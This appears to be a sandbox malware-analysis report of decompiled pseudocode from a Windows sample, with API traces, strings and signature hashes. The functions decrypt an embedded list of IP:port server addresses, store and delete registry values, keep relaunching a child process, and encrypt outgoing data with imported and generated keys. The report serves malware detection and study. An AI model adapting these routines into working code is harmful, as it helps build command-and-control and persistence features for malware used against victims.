Function 04001390 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04001390(signed int __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				long _v24;
				void* _v28;
				long _v32;
				signed int _t52;
				signed int _t57;
				intOrPtr _t64;
				void* _t76;
				void* _t103;
				void* _t104;
				void* _t106;
				void* _t107;

				_t52 = __eax;
				if(_a4 == 0 || _a8 == 0 || _a4 == 0 || _a16 == 0) {
					return _t52 | 0xffffffff;
				} else {
					_v24 = 0;
					_t57 = RtlAllocateHeap(GetProcessHeap(), 8, _a8 + 5); // executed
					_v28 = _t57;
					if(_v28 != 0) {
						E04007B70(_v28, _a4, _a8);
						E04007B70(_v28 + _a8, "====", 4);
						_t106 = _t104 + 0x18;
						_v8 = _v28;
						_v20 = 3;
						while(_v20 == 3) {
							_v32 = 0;
							while(_v32 < 4) {
								while( *_v8 != 0x3d) {
									_t76 = E04001500( *_v8 & 0x000000ff);
									_t106 = _t106 + 4;
									if(_t76 >= 0) {
										break;
									}
									_v8 =  &(_v8[1]);
								}
								 *((char*)(_t103 + _v32 - 0xc)) =  *_v8;
								_v8 =  &(_v8[1]);
								_v32 = _v32 + 1;
							}
							_t64 = E04001580( &_v16,  &_v12);
							_t107 = _t106 + 8;
							_v20 = _t64;
							if(_a16 >= _v20) {
								E04007B70(_a12,  &_v12, _v20);
								_t106 = _t107 + 0xc;
								_a12 = _a12 + _v20;
								_a16 = _a16 - _v20;
								_v24 = _v24 + _v20;
								continue;
							}
							return HeapFree(GetProcessHeap(), 0, _v28) | 0xffffffff;
						}
						RtlFreeHeap(GetProcessHeap(), 0, _v28); // executed
						return _v24;
					}
					return _t57 | 0xffffffff;
				}
			}

APIs

GetProcessHeap.KERNEL32(00000008,-00000005), ref: 040013C6
RtlAllocateHeap.NTDLL(00000000), ref: 040013CD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0400149E
HeapFree.KERNEL32(00000000), ref: 040014A5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 040014EA
RtlFreeHeap.NTDLL(00000000), ref: 040014F1

Strings

====, xrefs: 040013FA

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Heap$Process$Free$Allocate
String ID: ====
API String ID: 168621272-1026985228
Opcode ID: cc6d638cfefe3820553d32bbcecc0cddb825681ad85667f70979d716b4f01239
Instruction ID: c6e28297ba35799b7f22f7dab3aca0fae7ec72587fc4187f79a8e8c8e7655232
Opcode Fuzzy Hash: cc6d638cfefe3820553d32bbcecc0cddb825681ad85667f70979d716b4f01239
Instruction Fuzzy Hash: F7414CB5D04209EBEB04DFA4C884BEE7BB5FF44309F108619E515BB2D0D735AA45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04007970 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04007970(intOrPtr* _a4) {
				long _v8;
				void* _v12;
				int _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				void* _v40;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _t50;
				intOrPtr _t52;
				void* _t58;
				intOrPtr _t64;
				intOrPtr _t72;
				intOrPtr _t83;
				void* _t96;
				void* _t97;
				void* _t98;

				_v8 = 0;
				if(_a4 != 0) {
					_v16 = 0x8c;
					_v20 = 0x75bc;
					_t50 = VirtualAlloc(0, 0x75bc, 0x3000, 4); // executed
					_v12 = _t50;
					if(_v12 != 0) {
						_t72 =  *0x400e28c; // 0x4013f88
						_t83 =  *0x40118a0; // 0x4013b88
						_t52 = E0400A400(_t83, _t72, _v12, 0x75bc); // executed
						_t97 = _t96 + 0x10;
						_v24 = _t52;
						if(_v24 >= 0x92) {
							_v28 = _v24 - 0x8c;
							_t58 = E04008A70(_v12 + 0x8c,  &_v28, _v12, 0x8c, 0x40130e8, 0x254);
							_t98 = _t97 + 0x18;
							if(_t58 != 0) {
								_v32 = _v12 + 0x8c;
								_v36 = _v28 / 6;
								_v40 = VirtualAlloc(0, _v36 * 0x28, 0x3000, 4);
								if(_v40 != 0) {
									_v48 = 0;
									while(_v48 < _v36) {
										_t64 = E04007B70( &_v44, _v48 * 6 + _v32, 4);
										_push(_v44);
										L0400B1EC();
										_v52 = _t64;
										wnsprintfA(_v48 * 0x28 + _v40, 0x28, "%s:%u", _v52,  *(_v32 + 4 + _v48 * 6) & 0x0000ffff);
										_t98 = _t98 + 0x20;
										_v8 = _v8 + 1;
										_v48 = _v48 + 1;
									}
									 *_a4 = _v40;
								}
							}
						}
						VirtualFree(_v12, 0, 0x8000); // executed
					}
				}
				return _v8;
			}

APIs

VirtualAlloc.KERNEL32(00000000,000075BC,00003000,00000004), ref: 040079A3

Part of subcall function 0400A400: RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 0400A45C
Part of subcall function 0400A400: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0400A480
Part of subcall function 0400A400: RegCloseKey.KERNEL32(00000000), ref: 0400A494

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04007AE3

Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
Part of subcall function 04008A70: GetLastError.KERNEL32 ref: 04008ADD
Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
Part of subcall function 04008A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
Part of subcall function 04008A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04007A4B
inet_ntoa.WS2_32(?), ref: 04007A90
wnsprintfA.SHLWAPI ref: 04007ABC

Strings

%s:%u, xrefs: 04007AAB
Vatwyovatk, xrefs: 040079C5

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$CloseDecryptErrorFreeLastOpenQueryReleaseValueinet_ntoawnsprintf
String ID: %s:%u$Vatwyovatk
API String ID: 1891311255-2484782420
Opcode ID: 79f967d1a52c2aaee155b9d7bfa010675069804c64fe547678c39a65b43ec606
Instruction ID: d327848a4ae889dd371e71d646ee9b038911c4fd72f1be7e57aa30bfb263aa34
Opcode Fuzzy Hash: 79f967d1a52c2aaee155b9d7bfa010675069804c64fe547678c39a65b43ec606
Instruction Fuzzy Hash: 8C410FB5E04208EBFB04DF94C945BEEBBB5EB88705F14C159E6057B2C0D779AA40CB64

Uniqueness

Uniqueness Score: -1.00%

Function 04005E30 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 79
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005E30(signed char _a4) {
				char* _v8;
				char _v9;
				void* _v16;
				void* _v20;
				char* _v24;
				int _v28;
				signed int _v29;
				int _v36;
				char _v68;
				int _v72;
				char* _t31;
				long _t33;
				long _t37;
				char* _t45;

				_v9 = 0;
				_t31 =  *0x40118a0; // 0x4013b88
				_v8 = _t31;
				_t45 =  *0x4011894; // 0x4013fc4
				_v24 = _t45;
				_v16 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				_t33 = RegOpenKeyExA(_v16, _v8, 0, 0xf003f,  &_v20); // executed
				if(_t33 == 0) {
					_v36 = 0x20;
					_v28 = 0x20;
					_v29 = 0;
					_t37 = RegQueryValueExA(_v20, _v24, 0, 0,  &_v68,  &_v28); // executed
					if(_t37 == 0 && _v28 == 0x10) {
						_v29 = 1;
						if((_a4 & 0x000000ff) != 0) {
							RegDeleteValueA(_v20, _v24);
						}
					}
					_t48 = _v29 & 0x000000ff;
					if((_v29 & 0x000000ff) == 0) {
						_v72 = 0x10;
						E04009BD0(_t48,  &_v68, 0x10);
						RegSetValueExA(_v20, _v24, 0, 3,  &_v68, 0x10);
						_v9 = 1;
					}
					RegCloseKey(_v20); // executed
				}
				return _v9;
			}

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 04005E7E
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005EB2
RegDeleteValueA.ADVAPI32(00000000,?), ref: 04005ED6
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 04005F0B
RegCloseKey.KERNEL32(00000000), ref: 04005F19

Strings

, xrefs: 04005E8C
, xrefs: 04005E93

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID: $
API String ID: 647993726-227171996
Opcode ID: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction ID: 89e6ea7d5f7cd1f3b8914b5f239817843937aaeba4a6099ce7b548add1ef5737
Opcode Fuzzy Hash: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction Fuzzy Hash: 3A317370A04249AFEF04CFD4D855BFFBBB9AB44704F14815CEA40B7281D7B96A00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04004AC0 Relevance: 12.1, APIs: 8, Instructions: 68
sleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E04004AC0(intOrPtr _a4) {
				intOrPtr _v8;
				long _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _t31;
				void* _t50;

				_v8 = _a4;
				if(_v8 != 0) {
					__imp__CoInitialize(0);
					L2:
					while(1) {
						if( *((intOrPtr*)(_v8 + 8)) <= 0 || WaitForSingleObject( *(_v8 + 0x24), 0x64) != 0x102) {
							L6:
							Sleep(0x1388); // executed
							continue;
						}
						EnterCriticalSection(_v8 + 0xc);
						_v20 = 0;
						_v12 = 0;
						_t31 = E04008250( *((intOrPtr*)(_v8 + 4)),  *((intOrPtr*)(_v8 + 8)),  &_v20,  &_v12); // executed
						_t50 = _t50 + 0x10;
						_v16 = _t31;
						LeaveCriticalSection(_v8 + 0xc);
						if(_v16 <= 0) {
							goto L6;
						}
						E040062B0(_v20, _v16); // executed
						VirtualFree(_v20, 0, 0x8000); // executed
						SetEvent( *(_v8 + 0x24));
						__imp__CoUninitialize();
						goto L8;
					}
				}
				L8:
				return 0;
			}

APIs

CoInitialize.OLE32(00000000), ref: 04004AD8
WaitForSingleObject.KERNEL32(?,00000064), ref: 04004AF4
EnterCriticalSection.KERNEL32(-0000000C), ref: 04004B08
LeaveCriticalSection.KERNEL32(-0000000C), ref: 04004B44
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04004B6B
SetEvent.KERNEL32(?), ref: 04004B78
Sleep.KERNEL32(00001388), ref: 04004B85
CoUninitialize.OLE32 ref: 04004B90

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: CriticalSection$EnterEventFreeInitializeLeaveObjectSingleSleepUninitializeVirtualWait
String ID:
API String ID: 3462651527-0
Opcode ID: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction ID: a8de0d0852ad7639ac4a8efdad63c4b5a832734fa442b81c8ae14f5e2abf7ac4
Opcode Fuzzy Hash: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction Fuzzy Hash: 1C213075A00208EFE704EF94D958FAEB7B9EB48305F10C658E605B7281D739EE84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 040077B0 Relevance: 10.6, APIs: 7, Instructions: 80
sleepCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E040077B0(void** _a4) {
				void** _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				long _v24;
				void** _v28;
				int _t37;
				void* _t40;
				void* _t60;

				if(_a4 != 0) {
					__imp__CoInitialize(0);
					_v12 = 0x96;
					_v16 = 0x1388;
					_v8 = _a4;
					if( *_v8 != 0) {
						_v20 = 0;
						while(_v20 < 0x96) {
							_v24 = 0;
							_t37 = GetExitCodeProcess(_v8[3],  &_v24); // executed
							if(_t37 == 0) {
							} else {
								if(_v24 != 0x103) {
									CloseHandle(_v8[3]);
									Sleep(0x7530);
									_t40 = E04002070( *_v8);
									_t60 = _t60 + 4;
									_v8[3] = _t40;
									if(_v8[3] != 0) {
										_v20 = _v20 + 1;
										if((_v8[2] & 0x00000004) != 0) {
											E04002510(_v8[3], 0x400e290);
											_t60 = _t60 + 8;
										}
										goto L11;
									} else {
									}
								} else {
									Sleep(0x1388); // executed
									L11:
									continue;
								}
							}
							break;
						}
						VirtualFree( *_v8, 0, 0x8000);
						_v28 = _v8;
						E040097C0(_v28);
					}
					__imp__CoUninitialize();
				}
				return 0;
			}

APIs

CoInitialize.OLE32(00000000), ref: 040077C2
GetExitCodeProcess.KERNEL32 ref: 0400780E
Sleep.KERNEL32(00001388), ref: 04007826
CloseHandle.KERNEL32(00001388), ref: 04007835
Sleep.KERNEL32(00007530), ref: 04007840
VirtualFree.KERNEL32(00000096,00000000,00008000), ref: 040078A5
CoUninitialize.OLE32 ref: 040078BD

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Sleep$CloseCodeExitFreeHandleInitializeProcessUninitializeVirtual
String ID:
API String ID: 2326833528-0
Opcode ID: 40971a79621a4715f304bef9d1a112be756b69aca4ab6b623c127bbca2746a66
Instruction ID: 786529089a386be0191f5a1a0158813805cafbe076d78358bbe760b2cac44d20
Opcode Fuzzy Hash: 40971a79621a4715f304bef9d1a112be756b69aca4ab6b623c127bbca2746a66
Instruction Fuzzy Hash: 62318E74A00209EBFB54CF90C848BAEB7B1FB44305F14C668E905B7280D779BE40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04005CD0 Relevance: 10.6, APIs: 7, Instructions: 72
filememorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005CD0(CHAR* _a4) {
				long _v8;
				void* _v12;
				long _v16;
				void* _v20;
				long _v24;
				void* _t29;
				void* _t34;

				_v8 = 0;
				if(_a4 != 0 && lstrlenA(_a4) >= 4) {
					_t29 = CreateFileA(_a4, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v12 = _t29;
					if(_v12 != 0xffffffff) {
						_v16 = GetFileSize(_v12, 0);
						if(_v16 > 0) {
							_t34 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
							_v20 = _t34;
							if(_v20 != 0) {
								_v24 = 0;
								ReadFile(_v12, _v20, _v16,  &_v24, 0); // executed
								if(_v24 == _v16) {
									_v8 = E040016F0(_v20, _v16);
								}
								VirtualFree(_v20, 0, 0x8000); // executed
							}
						}
						FindCloseChangeNotification(_v12); // executed
					}
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04005CEB
CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005D10
GetFileSize.KERNEL32(000000FF,00000000), ref: 04005D29
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005D45
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04005D6D
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04005D99
FindCloseChangeNotification.KERNEL32(000000FF), ref: 04005DA3

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: File$Virtual$AllocChangeCloseCreateFindFreeNotificationReadSizelstrlen
String ID:
API String ID: 443218420-0
Opcode ID: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction ID: 1c3b7df952a912c4f86c12ad70d9a091debb45511137cc5b62942badbf1a5776
Opcode Fuzzy Hash: 071662be6b1e22e21ec0747122ec9fe5ab089f82a602849f769d97fd77600298
Instruction Fuzzy Hash: 7021EC75A00208FBEB64DFA4DC49BAE77B5EB48705F108659F615BB2C0C778AA80CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04005B50 Relevance: 8.9, APIs: 7, Instructions: 124
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005B50(CHAR* _a4, char* _a8, intOrPtr* _a12, intOrPtr* _a16) {
				void* _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				void* _v24;
				int _v28;
				int _v32;
				char* _v36;
				char* _v40;
				void* _v44;
				void* _t69;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_v32 = lstrlenA(_a8);
					_v28 = lstrlenA(_a4);
					_v24 = 0;
					_v16 = 0;
					while(_v24 < _v28) {
						_v36 = StrStrIA( &(_a4[_v24]), _a8);
						if(_v36 != 0) {
							_v16 = _v16 + 1;
							_v24 = _v36 - _a4 + _v32;
							continue;
						}
						break;
					}
					_v20 = _v16 * 0x28;
					_t69 = VirtualAlloc(0, _v20, 0x3000, 4); // executed
					_v12 = _t69;
					if(_v12 != 0) {
						_v24 = 0;
						_v16 = 0;
						while(_v24 < _v28) {
							_v40 = StrStrIA( &(_a4[_v24]), _a8);
							if(_v40 != 0) {
								lstrcpynA(_v12 + _v16 * 0x28,  &(_a4[_v24]), _v40 -  &(_a4[_v24]) + 1);
								_v24 = _v40 - _a4 + _v32;
								_v16 = _v16 + 1;
								_v8 = _v8 + 1;
								 *_a12 = _v12;
								continue;
							}
							break;
						}
						if(_a16 != 0) {
							_v44 = VirtualAlloc(0, _v20, 0x3000, 4);
							if(_v44 != 0) {
								E04007B70(_v44, _v12, _v20);
								 *_a16 = _v44;
							}
						}
					}
				}
				return _v8;
			}

APIs

lstrlenA.KERNEL32(00000000), ref: 04005B7F
lstrlenA.KERNEL32(00000000), ref: 04005B8C
StrStrIA.SHLWAPI(00000000,00000000), ref: 04005BB6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005BF6
StrStrIA.SHLWAPI(00000000,00000000), ref: 04005C2A
lstrcpynA.KERNEL32(00000000,00000000,-00000001), ref: 04005C59
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005C9E

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: AllocVirtuallstrlen$lstrcpyn
String ID:
API String ID: 808621155-0
Opcode ID: 87716a91232c7d4b55081c1f55d7f64912373dfad697bd4087df7a6950954879
Instruction ID: 5a59fe48962482dc997a37d5c0ed7d0013e253906576cb4b19edba68c8a08fb2
Opcode Fuzzy Hash: 87716a91232c7d4b55081c1f55d7f64912373dfad697bd4087df7a6950954879
Instruction Fuzzy Hash: D451C774904209EFEB04CF94C998BEEBBB5EF48305F148559E505B7284D379AA80CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04006CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04006CF0() {
				char _v5;
				void* _v12;
				void* _v16;
				int _v20;
				int _v24;
				long _v28;
				char _v60;
				long _t21;
				long _t24;
				char* _t26;
				char* _t30;
				char* _t32;

				_v5 = 0;
				_v12 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v12 = 0x80000002;
				}
				_v16 = 0;
				_t32 =  *0x40118a0; // 0x4013b88
				_t21 = RegOpenKeyExA(_v12, _t32, 0, 0xf003f,  &_v16); // executed
				if(_t21 == 0) {
					_v24 = 0x20;
					_v20 = 3;
					_t30 =  *0x4011890; // 0x4013fa6
					_t24 = RegQueryValueExA(_v16, _t30, 0,  &_v20,  &_v60,  &_v24); // executed
					_v28 = _t24;
					if(_v28 == 0) {
						_v5 = 1;
						_t26 =  *0x4011890; // 0x4013fa6
						RegDeleteValueA(_v16, _t26);
					}
					RegCloseKey(_v16);
				}
				return _v5;
			}

APIs

RegOpenKeyExA.KERNEL32(80000001,04013B88,00000000,000F003F,00000000), ref: 04006D30
RegQueryValueExA.KERNEL32(00000000,04013FA6,00000000,00000003,?,00000020), ref: 04006D61
RegDeleteValueA.ADVAPI32(00000000,04013FA6), ref: 04006D7E
RegCloseKey.ADVAPI32(00000000), ref: 04006D88

Strings

, xrefs: 04006D3A

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID:
API String ID: 647993726-3916222277
Opcode ID: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction ID: 88112219bc8656018e8fd12fe99521312711d887651bf4d09d45951e100356d5
Opcode Fuzzy Hash: 7e3867fdce199c8a5bb6ff6aa161a31bc633291f878d7ee7a05f6acc28b5ac08
Instruction Fuzzy Hash: DE114275D04208AFEB04DFE0D848BBEBBB8FB48304F148158EA00BB280D77D5A45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04008370 Relevance: 7.7, APIs: 6, Instructions: 191
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008370(intOrPtr _a4, long _a8, char _a12, intOrPtr _a16) {
				long _v8;
				void* _v12;
				void* _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				void* _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr* _v56;
				long _v60;
				void* _t79;
				void* _t80;
				void* _t85;
				void* _t90;
				void* _t94;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0 || _a16 < _a8) {
					L17:
					return _v8;
				} else {
					_t79 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v16 = _t79;
					_t80 = VirtualAlloc(0, 0x1000, 0x3000, 4); // executed
					_v12 = _t80;
					if(_v16 != 0 && _v12 != 0) {
						_v24 = 0x1000;
						_v20 = 0x1000;
						_t85 = E04008800(_v16,  &_v24, _v12,  &_v20, 0x4013378, 0x94); // executed
						if(_t85 != 0) {
							_t21 = _a8 + 0x10; // 0x1010
							_v28 = _v20 + _t21;
							_t170 = _a16 - _v28;
							if(_a16 >= _v28) {
								_v40 = E04008770(_t170, 0xa);
								_v36 = E040087D0(0xffffffff);
								_t90 = VirtualAlloc(0, _a8, 0x3000, 4); // executed
								_v32 = _t90;
								if(_v32 != 0) {
									_v44 = _a8;
									E04007B70(_v32, _a4, _a8);
									_t94 = E04008970(_v32,  &_v44, _v16, _v24); // executed
									if(_t94 != 0) {
										_v48 = _a12;
										E040085D0( &_v48,  &_v40, 4);
										E040085D0( &_v48,  &_v36, 4);
										_v60 = 0;
										_v56 = _v48;
										E040085D0( &_v48,  &_v60, 4);
										_v52 = _v48;
										E040085D0( &_v48,  &_v20, 4);
										E040085D0( &_v48, _v12, _v20);
										E04008650(_v36, _v52, _v48 - _v52, _v36);
										E040085D0( &_v48, _v32, _v44);
										 *_v56 = E040016F0(_a12 + 0xc, _v48 - _a12 + 0xc);
										_v8 = _v48 - _a12;
									}
									VirtualFree(_v32, 0, 0x8000); // executed
								}
							}
						}
					}
					if(_v16 != 0) {
						VirtualFree(_v16, 0, 0x8000); // executed
					}
					if(_v12 != 0) {
						VirtualFree(_v12, 0, 0x8000); // executed
					}
					goto L17;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 040083BF
VirtualAlloc.KERNEL32(00000000,00001000,00003000,00000004), ref: 040083D6
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0400846B

Part of subcall function 04008970: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 040089BF
Part of subcall function 04008970: GetLastError.KERNEL32 ref: 040089C9
Part of subcall function 04008970: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 040089F8
Part of subcall function 04008970: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008A1F
Part of subcall function 04008970: CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 04008A41
Part of subcall function 04008970: CryptDestroyKey.ADVAPI32(00000000), ref: 04008A4E
Part of subcall function 04008970: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008A5A

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400858C
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 040085A3
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 040085BA

Part of subcall function 04008800: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,04008420,00000000,00001000,00000000), ref: 0400883B
Part of subcall function 04008800: GetLastError.KERNEL32 ref: 04008845
Part of subcall function 04008800: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008874
Part of subcall function 04008800: CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 040088AF
Part of subcall function 04008800: CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 040088CF
Part of subcall function 04008800: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 0400890C
Part of subcall function 04008800: CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 0400892A
Part of subcall function 04008800: CryptDestroyKey.ADVAPI32(?), ref: 04008937

